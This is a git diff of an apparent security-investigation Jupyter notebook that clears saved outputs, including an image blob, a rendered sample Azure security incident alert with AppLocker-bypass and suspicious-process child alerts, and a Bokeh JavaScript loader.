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- "text/plain": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "# Draw a graph of this (add to entity graph)\n", "%matplotlib notebook\n", @@ -2233,275 +390,9 @@ }, { "cell_type": "code", - "execution_count": 13, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:15:03.233694Z", - "start_time": "2020-05-16T02:15:03.182692Z" - } - }, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Selected alert is available as 'related_alert' variable.\n" - ] - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "b2bae846b1d5442593f76fb6e732cfbd", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(Text(value='', description='Filter alerts by title:', style=DescriptionStyle(description_width=…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "
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Alert: 'Security incident detected'

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TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-14 18:03:23+00:00
AlertDisplayNameSecurity incident detected
AlertNameSecurity incident detected
SeverityHigh
DescriptionThe incident which started on 2019-02-14 11:51:38 UTC and recently detected on 2019-02-14 18:03:23 UTC indicates that an attacker has abused resource in your resource MSTICALERTSWIN1
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalId79f27254-e85f-4471-a061-3ea99b824495
SystemAlertId2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeKillChainFusionIncident
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentTrue
StartTimeUtc2019-02-14 11:51:38+00:00
EndTimeUtc2019-02-14 11:51:38+00:00
ProcessingEndTime2019-02-14 18:03:23+00:00
RemediationSteps[\\r\\n \"1. Escalate the alert to the information security team.\",\\r\\n \"2. Review the remediation steps of each one of the alerts\"\\r\\n]
ExtendedProperties{'isincident': 'true', 'Detected Time (UTC)': '2019-02-14 18:03:23 UTC', 'Incident Stage': 'abused resource in', 'Compromised Host': 'MSTICALERTSWIN1', 'Start Time (UTC)': '2019-02-14 11:51:38 UTC', 'crossvm': 'false', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}
Entities[{'$id': '4', 'DisplayName': 'Suspicious system process executed', 'CompromisedEntity': 'MSTICALERTSWIN1', 'Count': 2, 'Severity': 'Medium', 'SystemAlertIds': ['2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a'], 'AlertType': 'SuspiciousSystemProcess', 'VendorName': 'Microsoft', 'ProviderName': 'Detection', 'StartTimeUtc': '2019-02-14T11:51:38.4888669Z', 'EndTimeUtc': '2019-02-14T11:51:38.4888669Z', 'Type': 'alerts', 'Location': 'Central US'}, {'$id': '5', 'DisplayName': 'Potential attempt to bypass AppLocker detected', 'CompromisedEntity': 'MSTICALERTSWIN1', 'Count': 2, 'Severity': 'High', 'SystemAlertIds': ['2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f'], 'AlertType': 'SCUBA_RULE_Applocker_Bypass', 'VendorName': 'Microsoft', 'ProviderName': 'Detection', 'StartTimeUtc': '2019-02-14T11:51:38.5072586Z', 'EndTimeUtc': '2019-02-14T11:51:38.5072586Z', 'Type': 'alerts', 'Location': 'Central US'}]
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
ComputerMSTICALERTSWIN1
src_hostnameMSTICALERTSWIN1
src_accountname
src_procname
host_matchTrue
acct_matchFalse
proc_matchFalse
CompromisedEntityMSTICALERTSWIN1

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isincidenttrue
Detected Time (UTC)2019-02-14 18:03:23 UTC
Incident Stageabused resource in
Compromised HostMSTICALERTSWIN1
Start Time (UTC)2019-02-14 11:51:38 UTC
crossvmfalse
resourceTypeVirtual Machine
ServiceId14fa08c7-c48e-4c18-950c-8148024b4398
ReportingSystemAzure
OccuringDatacentereastus

Entities:


{ 'AdditionalData': {},, 'AlertType': 'SuspiciousSystemProcess',, 'CompromisedEntity': 'MSTICALERTSWIN1',, 'Count': 2,, 'DisplayName': 'Suspicious system process executed',, 'EndTimeUtc': '2019-02-14T11:51:38.4888669Z',, 'ProviderName': 'Detection',, 'Severity': 'Medium',, 'StartTimeUtc': '2019-02-14T11:51:38.4888669Z',, 'SystemAlertIds': ['2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a'],, 'Type': 'alerts',, 'VendorName': 'Microsoft'}
{ 'AdditionalData': {},, 'AlertType': 'SCUBA_RULE_Applocker_Bypass',, 'CompromisedEntity': 'MSTICALERTSWIN1',, 'Count': 2,, 'DisplayName': 'Potential attempt to bypass AppLocker detected',, 'EndTimeUtc': '2019-02-14T11:51:38.5072586Z',, 'ProviderName': 'Detection',, 'Severity': 'High',, 'StartTimeUtc': '2019-02-14T11:51:38.5072586Z',, 'SystemAlertIds': ['2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f'],, 'Type': 'alerts',, 'VendorName': 'Microsoft'}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "def disp_full_alert(alert):\n", " global related_alert\n", @@ -2549,58 +440,9 @@ }, { "cell_type": "code", - "execution_count": 14, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:15:11.683710Z", - "start_time": "2020-05-16T02:15:11.632710Z" - }, - "scrolled": true - }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "5579baeeb163430ea86694c1db650c6e", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HTML(value='

Set query time boundaries

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i < inline_js.length; i++) {\n", - " inline_js[i].call(root, root.Bokeh);\n", - " }\n", - " if (force === true) {\n", - " display_loaded();\n", - " }} else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(run_inline_js, 100);\n", - " } else if (!root._bokeh_failed_load) {\n", - " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", - " root._bokeh_failed_load = true;\n", - " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"1625\")).parents('.cell').data().cell;\n", - " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", - " }\n", - "\n", - " }\n", - "\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", - " run_inline_js();\n", - " } else {\n", - " load_libs(css_urls, js_urls, function() {\n", - " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", - " run_inline_js();\n", - " });\n", - " }\n", - "}(window));" - ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force 